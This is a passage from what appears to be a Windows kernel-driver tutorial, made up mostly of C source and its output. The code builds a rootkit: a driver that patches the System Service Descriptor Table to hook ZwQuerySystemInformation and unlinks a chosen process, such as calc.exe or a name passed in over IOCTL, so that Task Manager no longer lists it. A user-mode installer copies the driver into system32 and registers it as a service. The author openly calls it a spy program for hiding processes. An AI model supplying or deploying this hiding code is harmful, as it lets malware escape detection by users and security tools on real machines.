The above program simply displays the first 13 bytes of the two functions. The first five are a mov eax instruction. The values moved are called the service numbers of the functions. Where these are used we will come to a little later. The next four instructions move the address of a the entity that is stored 4 away from the stack into the edx register. This instruction is lea edx, DWORD PTR SS:[ESP+4].

 

This instructions remains the same for all functions. The opcode cd allows us to call a interrupt, with the interrupt number following. In our case the interrupt called is 0x2e. This interrupt is used to switch from ring 3 to ring 0. This is how any function under windows moves up the function call to a device driver to handle. Code that  resides in a dll under windows does not real work, this applies to code present in kernel32.dll also.

 

All these functions finally call code present in ntdll.dll that start with Zw. These functions also do not do much in ring 0, they in turn call code in ring 0 using interrupt 2e. Finally we return a value back using the ret instruction. More on this much later.

 

P38

#include <ntddk.h>

#include <stdio.h>

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

__declspec(dllimport) sdt KeServiceDescriptorTable;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

DbgPrint("Vijay 2 KeServiceDescriptorTable=%x", KeServiceDescriptorTable);

return(STATUS_SUCCESS);

}

 

Vijay 2 KeServiceDescriptorTable=804742b8

 

Vijay 2 KeServiceDescriptorTable=0

 

We have created a variable KeServiceDescriptorTable of structure type sdt that is our structure. In DriverEntry when we print out its value, it is not zero as we created it as a global variable. It has a value of 804742b8 because this variable is exported by ntoskrnl.lib. If we remove the declspec keyword, we will get a value of zero.

 

Thus what applies to functions, applies to variables exported also. If ntoskrnl.exe did not export the variable KeServiceDescriptorTable, we would have had a problem in what value to set it to. The fortunate part is the data types of the two variables can be what we like, thus ours is a structure that looks like sdt. The sdt structure has been made a typedef so that we do not have to write struct everywhere.

 

P39

H1.c

__declspec(dllexport) int i = 23;

 

cl –c h1.c

link /dll h1.obj

 

We create a dll h1.dll that has only one exported variable I whose value is set to 23.

 

P40

H2.c

__declspec(dllimport) char i;

main()

{

printf("%d\n",i);

}

 

cl h2.c h1.lib

 

23

 

In the file h2.c we use the dllimport keyword to refer to the variable I whose data type is char and not int. When we link with the h1.lib file we get no error and the value of I is 23. This is how we can refer to variables exported by other programs.

 

P41

r.c

#include <ntddk.h>

#include <stdio.h>

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

__declspec(dllimport) sdt KeServiceDescriptorTable;

NTSTATUS (NTAPI*OldZwQuerySystemInformation)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

NTSTATUS NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)

{

NTSTATUS rc;

rc = OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);

DbgPrint("rc=%d Class=%d Length=%d return=%x",rc,SystemInformationClass,SystemInformationLength,ReturnLength);

return rc;

}

long no;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)OldZwQuerySystemInformation;

_asm sti

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

DbgPrint("Vijay 2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);

p = (char *) ZwQuerySystemInformation;

p = p + 1;

no = *(long *)p;

OldZwQuerySystemInformation= KeServiceDescriptorTable. ServiceTableBase [no];

DbgPrint("OldZwQuerySystemInformation=%x NewZwQuerySystemInformation=%x NumberOfServices=%d",OldZwQuerySystemInformation,NewZwQuerySystemInformation,KeServiceDescriptorTable.NumberOfServices);

DbgPrint("Three tables %x %x %x",KeServiceDescriptorTable.ServiceTableBase,KeServiceDescriptorTable. ServiceCounterTableBase,KeServiceDescriptorTable.ParamTableBase);

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)NewZwQuerySystemInformation;

_asm sti

return(STATUS_SUCCESS);

}

 

Vijay 2 KeServiceDescriptorTable=804742b8

OldZwQuerySystemInformation =80493b5b NewZwQuerySystemInformation = eb749000 NumberOfServices=248

Three tables 804742b8 0 8047469c

rc=0 Class=2 Length=312 return=0

rc=0 Class=55 Length=4 return=0

rc=0 Class=0 Length=44 return=0

rc=0 Class=50 Length=4 return=0

 

This program you will like. We are actually writing a spy program that hooks a certain function. In this case it is the undocumented function ZwQuerySystemInformation. Anytime someone calls this functions, our code will get called. If you see the output, you will realize that the function gets called lots of times and we will use this method to hide our processes from windows.

 

In the DriverEntry function we start as usual by setting p to the address of function ZwQuerySystemInformation and extract the service number of the function. The exported variable KeServiceDescriptorTable is actually a structure that we take as an instance of sdt. This data type is made up of three pointers and a number. The first pointer ServiceTableBase is actually the start of an array of pointers to functions.

 

The number stored after the first byte is actually an offset into this array which gives us the address of the function to be called. In the case of ZwQuerySystemInformation, GetProcAddress returns a value of 77f87d11. The offset of 151 from this array has a value 80493b5b. This is where the code for the function actually resides. We store this value in a variable OldZwQuerySystemInformation.

 

This variable is defined as pointer to a stdcall function that takes three parameters. We print out the members of the structure KeServiceDescriptorTable so that we realize that the second pointer ServiceCounterTableBase is 0. The number of services or address of functions in the table is 248. We have created a function NewZwQuerySystemInformation in our driver and as we are in kernel space it has a value pf eb749000.

 

Now each time someone calls the function ZwQuerySystemInformation we would like our code to be called. Thus we set the 151st member of the array to the address of our function NewZwQuerySystemInformation. The only problem is that interrupts keep occurring all the time. When we are overwriting an entry in service table array, we will overwrite a byte at a time.

 

If two of the four bytes have been changed, an interrupt occurs and then someone calls the ZwQuerySystemInformation function, the wrong one will be called and havoc will result. Thus the best way to solve this problem is to stop all interrupts using the assembler instruction cli and after we have changed the value we use the sti instruction.

 

If you do not maybe nothing happens, but we have seen the blue screen of death too many times.

In the function NewZwQuerySystemInformation we simply call the original function whose address we have in the variable OldZwQuerySystemInformation. We then display the Class. Length and return length variables.

 

This function gets called with four parameters which we will soon explain. Whatever value was returned to us we return it back. This function gets called very often as the output shows us. Thus all that we have done in the above example is simple. We found the address of the actual function that gets called, stored it in the variable OldZwQuerySystemInformation and placed the address of our function NewZwQuerySystemInformation in the array of functions.

 

Each time somebody called the function ZwQuerySystemInformation our function gets called and now we call the original. We will use this to control the output that other programs who call the function ZwQuerySystemInformation receive. In driver load we have to set the 151st array member back to the value we saved in the variable OldZwQuerySystemInformation and we debar interrupts while this is happening.

 

P42

r.c

#include <ntddk.h>

#include <stdio.h>

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

__declspec(dllimport) sdt KeServiceDescriptorTable;

 

typedef NTSTATUS (*qtype)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

qtype OldZwQuerySystemInformation;

NTSTATUS NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)

{

NTSTATUS rc;

rc = OldZwQuerySystemInformation (SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);

DbgPrint("rc=%d Class=%d Length=%d return=%x",rc,SystemInformationClass,SystemInformationLength,ReturnLength);

return rc;

}

long no;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)OldZwQuerySystemInformation;

_asm sti

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

DbgPrint("Vijay 2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);

p = (char *)ZwQuerySystemInformation;

p = p + 1;

no = *(long *)p;

OldZwQuerySystemInformation=(qtype)KeServiceDescriptorTable.ServiceTableBase[no];

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)NewZwQuerySystemInformation;

_asm sti

return(STATUS_SUCCESS);

}

 

This program is more for the purists who hate see the compiler spew out warnings. The world of C we like because it does not complain too much whenever we have a pointer mismatch. Pointers on both sides of the equal to sign have to be of the same data type. We start with creating a typedef qtype which is a pointer to a _stdcall function that takes up 4 parameters.

 

This is the same number that ZwQuerySystemInformation takes. We then create a pointer OldZwQuerySystemInformation that is now in instance of qtype and not a pointer to a function etc as specified before. Where this helps is when we are initializing the variable OldZwQuerySystemInformation we simply use the word qtype as a cast. We believe the above program serves no useful purpose, but we can also write code that the compiler passes.

 

P43

r.c

#include <ntddk.h>

#include <stdio.h>

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

__declspec(dllimport) sdt KeServiceDescriptorTable;

typedef NTSTATUS (*qtype)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

qtype OldZwQuerySystemInformation;

struct _SYSTEM_THREADS

{

LARGE_INTEGER   KernelTime;

LARGE_INTEGER   UserTime;

LARGE_INTEGER   CreateTime;

ULONG   WaitTime;

PVOID   StartAddress;               

CLIENT_ID       ClientIs;

KPRIORITY       Priority;

KPRIORITY       BasePriority;

ULONG   ContextSwitchCount;

ULONG   ThreadState;

KWAIT_REASON    WaitReason;

};

struct _SYSTEM_PROCESSES

{

ULONG   NextEntryDelta;

ULONG   ThreadCount;

ULONG   Reserved[6];

LARGE_INTEGER   CreateTime;

LARGE_INTEGER   UserTime;

LARGE_INTEGER   KernelTime;

UNICODE_STRING  ProcessName;

KPRIORITY       BasePriority;

ULONG   ProcessId;

ULONG   InheritedFromProcessId;

ULONG   HandleCount;

ULONG   Reserved2[2];

VM_COUNTERS     VmCounters;

IO_COUNTERS     IoCounters;

struct _SYSTEM_THREADS  Threads[1];

};

 

NTSTATUS NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)

{

NTSTATUS rc;

rc = OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);

if(rc == 0 && 5 == SystemInformationClass) 

{

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

while(curr-> NextEntryDelta != 0)

{      

int i;

struct _SYSTEM_THREADS *t;

DbgPrint("%S curr=%x Delta=%d pid=%d Inherited=%d Threads=%d",curr->ProcessName.Buffer,curr,curr->NextEntryDelta,curr->ProcessId,curr->InheritedFromProcessId,curr->ThreadCount);

DbgPrint("Virtual Size=%d Page Faults=%d Reads=%d handles=%d",curr->VmCounters.VirtualSize,curr->VmCounters.PageFaultCount,curr->IoCounters.ReadOperationCount,curr->HandleCount);

t = (struct _SYSTEM_THREADS *)&curr->Threads;

for(i = 0 ; i < curr->ThreadCount ; i++)

{

DbgPrint("Thread no=%d t=%x Process=%d ThreadID=%d Priority=%d %d ContextSwitchCount=%d",i,t,t->ClientIs.UniqueProcess,t->ClientIs.UniqueThread,t->Priority,t->BasePriority,t->ContextSwitchCount);

t++;

}

curr = (struct _SYSTEM_PROCESSES *)((char *)curr + curr->NextEntryDelta);

}

}

return rc;

}

long no;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)OldZwQuerySystemInformation;

_asm sti

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

DbgPrint("Vijay 2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);

p = (char *)ZwQuerySystemInformation;

p = p + 1;

no = *(long *)p;

OldZwQuerySystemInformation=(qtype)KeServiceDescriptorTable.ServiceTableBase[no];

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)NewZwQuerySystemInformation;

_asm sti

return(STATUS_SUCCESS);

}

 

notepad.exe curr=785e30 Delta=400 pid=1404 Inherited=300 Threads=3

Virtual Size=25141248 Page Faults=1693 Reads=78 handles=0

Thread no=0 t=785ee8 Process=1404 ThreadID=1160 Priority=10 8 ContextSwitchCount=8566

Thread no=1 t=785f28 Process=1404 ThreadID=736 Priority=8 8 ContextSwitchCount=2

Thread no=2 t=785f68 Process=1404 ThreadID=1200 Priority=8 8 ContextSwitchCount=229

 

Lets start by telling you some basics. The windows task manager displays all the programs running on our system. This is program written by some smart programmer at Microsoft. There are documented functions that return all the programs running on the machine. Its either that these functions finally end up calling the function ZwQuerySystemInformation or this guy used ZwQuerySystemInformation.

 

Mind you Microsoft does not document this function at all. Thus each time ZwQuerySystemInformation gets called the first parameter tells us what information the caller wanted. If the value is 5, we want a list of all processes and threads running. Thus we first call the original ZwQuerySystemInformation and then check if the return value is 0. If not zero, there is another reason why this function has been called which we will explain later.

 

The Second parameter is a pointer to a structure and the third and fourth length values that we will not use. In our case the second parameter is a pointer to a structure that looks like _SYSTEM_PROCESSES. This structure is not documented by us but we found it at lots of places on the net. Wonder  why Microsoft yet calls it undocumented. The first parameter NextEntryDelta points to a similar such structure and if its value is 0, it means that this is the last process.

 

Thus we have a while loop that keeps going on until this first member is non zero. We display some half a dozen of its members and check with task manager whether we both get the same answers. Some members like VmCounters are actual structures whose data type is there in the header files. We compile with the /P option and then search the .i file created for the structure tags.

 

The last parameter is a series of structures for the number of threads this process has created. Thus if we have 10 threads, we have 10 thread structures running back to back. So we have set a variable t to the start of the first structure and then increase it by 1 each time to point to the next thread structure.

 

This is how we print out the structure members. The point is that the first structure does not contain a actual pointer to the second process structure but an offset in bytes. This is why at the end we have to cast the variable curr to a char *.

 

P44

r.c

#include <ntddk.h>

#include <stdio.h>

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

__declspec(dllimport) sdt KeServiceDescriptorTable;

typedef NTSTATUS (*qtype)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

qtype OldZwQuerySystemInformation;

struct _SYSTEM_PROCESSES

{

ULONG   NextEntryDelta;

ULONG   ThreadCount;

ULONG   Reserved[6];

LARGE_INTEGER   CreateTime;

LARGE_INTEGER   UserTime;

LARGE_INTEGER   KernelTime;

UNICODE_STRING  ProcessName;

};

NTSTATUS NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)

{

NTSTATUS rc;

rc = OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);

if(rc == 0 && 5 == SystemInformationClass) 

{

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

struct _SYSTEM_PROCESSES *prev = NULL;

while(1)

{      

ANSI_STRING process_name;

RtlUnicodeStringToAnsiString (&process_name,&curr->ProcessName,TRUE);

DbgPrint("%s curr=%x prev=%x Delta=%d",process_name.Buffer,curr,prev,curr->NextEntryDelta);

if(strnicmp(process_name.Buffer,"calc",4) == 0)

{

if(curr->NextEntryDelta != 0 && prev != 0) //first guy has no name

{

DbgPrint("Between %s curr->NextEntryDelta=%x prev=%x",process_name.Buffer,curr->NextEntryDelta,prev);

prev->NextEntryDelta += curr->NextEntryDelta;

}

else

{

DbgPrint("Last");

prev->NextEntryDelta = 0;

}

}

prev = curr;

if ( curr->NextEntryDelta)

((char *)curr += curr->NextEntryDelta);

else

break;

}

}

return rc;

}

long no;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP Irp)

{

DbgPrint("IRP_MJ_CREATE\n");

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)OldZwQuerySystemInformation;

_asm sti

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

driverObject->DriverUnload = DriverUnload;

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

DbgPrint("Vijay 2 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);

p = (char *)ZwQuerySystemInformation;

p = p + 1;

no = *(long *)p;

OldZwQuerySystemInformation=(qtype)KeServiceDescriptorTable.ServiceTableBase[no];

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)NewZwQuerySystemInformation;

_asm sti

return(STATUS_SUCCESS);

}

 

calc.exe curr=7863e0 prev=786250 Delta=0

Last

 

The next program actually hides any program that begins with the word calc. We use it to hide the windows calculator calc.exe. We simply add a if statement to the while loop. For the ones who have come in late, we are passed a link list of structures. The first member is not the address of the next structure but a delta or an offset to where the next structure starts. Thus each structure links to the next structure by a number.

 

We have the name of the program running in a unicode string. We use the function RtlUnicodeStringToAnsiString to convert a unicode string to a ansi string. The only difference is that a ansi string is a char * whereas the unicode string is unsigned short *. The other two members remain the same.

 

The strnicmp checks for a specified length n and ignores case i. If the if statement is true, we have found the program name we are looking for. Now all that we need to do is remove this structure from the linked list. The variable curr points to the current process structure. All that we do is have a pointer prev which points to the previous such structure.

 

This previous structure points to the current structure. We simply add the offset stored in the member NextEntryDelta to the NextEntryDelta of the prev member. If the delta of the prev structure was 100, it means that 100 bytes away is the next structure. If the delta of the curr structure is 300, it means that 300 bytes away is the 3rd structure.

 

If we add 100+300 = 400 and place this value in prev, we bypass the curr or 2nd structure and point directly to the third. The only problem is that if the curr is the last structure in the list there is no next structure. In that case the else  gets called and we have to set prev as the last structure by setting its delta to 0.

 

The other problem is that if curr points to the first process, there is no prev process and the above logic fails. The solution is the first process has no name as it is the System Idle Process. This is not a process anyone can hide and hence we have not build it into our logic. Also start task Manager, run calc and then run y –i. This hides calc and when we run y –u it brings it back again. Magic.

 

The reason why all this happens is that programs like the Task Manager do not access Direct Kernel memory like we did earlier. They use functions like ZwQuerySystemInformation to tell them what programs are running on the system. There is no way on earth they can ever verify that the output of the ZwQuerySystemInformation has been altered by a device driver. This is another way we can hide a process from windows.

 

P45

y.c

#include <stdio.h>

#include <windows.h>

#include <malloc.h>

#include <tlhelp32.h>

#include <stdio.h>

#define DRV_NAME "vijayd"

#define DRV_FILENAME "vijay.sys"

#define DIRECTORY "C:\\driverm"

typedef struct

{

  unsigned short  Length;

  unsigned short  MaximumLength;

char * Buffer;

} ANSI_STRING, *PANSI_STRING;

typedef struct

{

  unsigned short  Length;

  unsigned short  MaximumLength;

  unsigned short *Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

long (_stdcall * _RtlAnsiStringToUnicodeString)(PUNICODE_STRING  DestinationString,PANSI_STRING  SourceString,unsigned char);

VOID (_stdcall *_RtlInitAnsiString)(PANSI_STRING  DestinationString,char *  SourceString);

long (_stdcall * _ZwLoadDriver)(PUNICODE_STRING DriverServiceName);

long (_stdcall * _ZwUnloadDriver)(PUNICODE_STRING DriverServiceName);

ANSI_STRING aStr;

UNICODE_STRING uStr;

HMODULE hntdll;

unsigned long byteRet;

HANDLE hDevice;

HKEY hkey;

DWORD val,b;

char *imgName = "System32\\DRIVERS\\"DRV_FILENAME;

void main(int argc, char* argv[])

{

hntdll = GetModuleHandle("ntdll.dll");

_ZwLoadDriver = GetProcAddress(hntdll, "NtLoadDriver");

_ZwUnloadDriver = GetProcAddress(hntdll, "NtUnloadDriver");

_RtlAnsiStringToUnicodeString = GetProcAddress(hntdll, "RtlAnsiStringToUnicodeString");

_RtlInitAnsiString = GetProcAddress(hntdll, "RtlInitAnsiString");

if ( strcmp(argv[1],"-i") == 0)

{

CopyFile(DIRECTORY"\\"DRV_FILENAME,"C:\\winnt\\system32\\drivers\\"DRV_FILENAME,1);

RegCreateKey(HKEY_LOCAL_MACHINE,"System\\CurrentControlSet\\Services\\"DRV_NAME,&hkey);

val = 1;

RegSetValueEx(hkey, "Type", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey, "ErrorControl", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

val = 3;

RegSetValueEx(hkey, "Start", 0, REG_DWORD, (PBYTE)&val, sizeof(val));

RegSetValueEx(hkey,"ImagePath",0,REG_EXPAND_SZ,(PBYTE)imgName,strlen(imgName));

_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);

_RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

_ZwLoadDriver(&uStr);

hDevice = CreateFile("\\\\.\\"DRV_NAME, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

DeviceIoControl(hDevice, 2 << 3 , argv[2], strlen(argv[2]), 0, 0, &b, 0);

}

if ( strcmp(argv[1],"-u") == 0)

{

_RtlInitAnsiString(&aStr,"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"DRV_NAME);

_RtlAnsiStringToUnicodeString(&uStr, &aStr, TRUE);

_ZwUnloadDriver(&uStr);

DeleteFile("C:\\winnt\\system32\\drivers\\"DRV_FILENAME);

RegDeleteKey(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\"DRV_NAME"\\Enum");

RegDeleteKey(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\"DRV_NAME);

}

}

 

p46

r.c

#include <ntddk.h>

#include <stdio.h>

UNICODE_STRING gDeviceName,gSymbolicLinkName;

PDEVICE_OBJECT gpDeviceObject;

#define DRV_NAME L"vijayd"

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

char pname[100];

int inputBufferLength;

typedef struct

{

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase;

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} sdt;

__declspec(dllimport) sdt KeServiceDescriptorTable;

typedef NTSTATUS (*qtype)(ULONG SystemInformationCLass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

qtype OldZwQuerySystemInformation;

struct _SYSTEM_PROCESSES

{

ULONG   NextEntryDelta;

ULONG   ThreadCount;

ULONG   Reserved[6];

LARGE_INTEGER   CreateTime;

LARGE_INTEGER   UserTime;

LARGE_INTEGER   KernelTime;

UNICODE_STRING  ProcessName;

};

 

NTSTATUS NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength)

{

NTSTATUS rc;

rc = OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);

if(rc == 0 && 5 == SystemInformationClass) 

{

struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

struct _SYSTEM_PROCESSES *prev = NULL;

while(1)

{      

ANSI_STRING process_name;

RtlUnicodeStringToAnsiString(&process_name,&curr->ProcessName,TRUE);

DbgPrint("%s curr=%x prev=%x Delta=%d",process_name.Buffer,curr,prev,curr->NextEntryDelta);

if(strnicmp(process_name.Buffer,pname,inputBufferLength) == 0)

{

if(curr->NextEntryDelta != 0 && prev != 0) //first guy has no name

{

DbgPrint("Between %s curr->NextEntryDelta=%x prev=%x",process_name.Buffer,curr->NextEntryDelta,prev);

prev->NextEntryDelta += curr->NextEntryDelta;

}

else

{

DbgPrint("Last");

prev->NextEntryDelta = 0;

}

}

prev = curr;

if ( curr->NextEntryDelta)

((char *)curr += curr->NextEntryDelta);

else

break;

}

}

return rc;

}

long no;

NTSTATUS DriverDispatcher(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)

{

PIO_STACK_LOCATION esp;

esp = IoGetCurrentIrpStackLocation(pIrp);

if (esp->MajorFunction == IRP_MJ_CREATE)

DbgPrint("IRP_MJ_CREATE\n");

if (esp->MajorFunction == IRP_MJ_DEVICE_CONTROL)

{

char *inputBuffer;

PIO_STACK_LOCATION      irpStack;

irpStack = IoGetCurrentIrpStackLocation (pIrp);

inputBuffer = pIrp->AssociatedIrp.SystemBuffer;

inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

strncpy(pname,inputBuffer,inputBufferLength);

//DbgPrint("inputBuffer=%s inputBufferLength=%d",inputBuffer,inputBufferLength);

}

IoCompleteRequest(pIrp, IO_NO_INCREMENT);

return(STATUS_SUCCESS);

}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)

{

DbgPrint("Unloading");

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)OldZwQuerySystemInformation;

_asm sti

IoDeleteSymbolicLink(&gSymbolicLinkName);

IoDeleteDevice(gpDeviceObject);

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING RegistryPath)

{

char *p;

RtlInitUnicodeString(&gDeviceName,L"\\Device\\"DRV_NAME);

RtlInitUnicodeString(&gSymbolicLinkName,L"\\DosDevices\\"DRV_NAME);

driverObject->MajorFunction[IRP_MJ_CREATE] = DriverDispatcher;

driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatcher;

driverObject->DriverUnload = DriverUnload;

IoCreateDevice(driverObject,0,&gDeviceName,FILE_DEVICE_UNKNOWN,0,0,&gpDeviceObject);

IoCreateSymbolicLink(&gSymbolicLinkName, &gDeviceName);

DbgPrint("Vijay 3 KeServiceDescriptorTable=%x",KeServiceDescriptorTable);

p = (char *)ZwQuerySystemInformation;

p = p + 1;

no = *(long *)p;

OldZwQuerySystemInformation=(qtype)KeServiceDescriptorTable.ServiceTableBase[no];

_asm cli

KeServiceDescriptorTable.ServiceTableBase[no]=(unsigned int)NewZwQuerySystemInformation;

_asm sti

return(STATUS_SUCCESS);

}

 

There is not much we have to explain in the above programs. In y,c we pass the second argv passed on the command line to the driver. Thus we run the programs as y –I calc. In the driver we use the input buffer and input buffer length to give us the name and length of data passed. We use these values in the strnicmp instead of the hard code names used earlier. This only gives our program more flexibility.

 

P47

x.c

#include <windows.h>

typedef long (_stdcall *qtype)(long SystemInformationCLass,void *SystemInformation,long SystemInformationLength,long * ReturnLength);

qtype pZwQuerySystemInformation;

struct UNICODE_STRING

{

short Length, MaxLength;

unsigned short *Buffer;

};

struct sss

{

ULONG   NextEntryDelta;

ULONG   ThreadCount;

ULONG   Reserved[6];

LARGE_INTEGER   CreateTime;

LARGE_INTEGER   UserTime;

LARGE_INTEGER   KernelTime;

struct UNICODE_STRING  ProcessName;

long       BasePriority;

ULONG   ProcessId;

ULONG   InheritedFromProcessId;

ULONG   HandleCount;

};

main()

{

HANDLE h;

struct sss *curr;

long rc,ReturnLength;

curr = malloc(32768);

h = LoadLibrary("ntdll.dll");

pZwQuerySystemInformation = (qtype)GetProcAddress(h,"ZwQuerySystemInformation");

rc = pZwQuerySystemInformation(5,curr,32768,&ReturnLength);

printf("rc=%ld ReturnLength=%ld curr=%x\n",rc,ReturnLength,curr);

while(curr->NextEntryDelta != 0)

{      

printf("%S curr=%x Delta=%d pid=%d %d Threads=%d Handles=%d\n",curr->ProcessName.Buffer,curr,curr->NextEntryDelta,curr->ProcessId,curr->InheritedFromProcessId,curr->ThreadCount,curr->HandleCount);

curr = (struct sss *)((char *)curr + curr->NextEntryDelta);

}

}

 

rc=0 ReturnLength=26744 curr=2f5170

(null) curr=2f5170 Delta=248 pid=0 0 Threads=1 Handles=0

System curr=2f5268 Delta=2568 pid=8 0 Threads=37 Handles=45

 

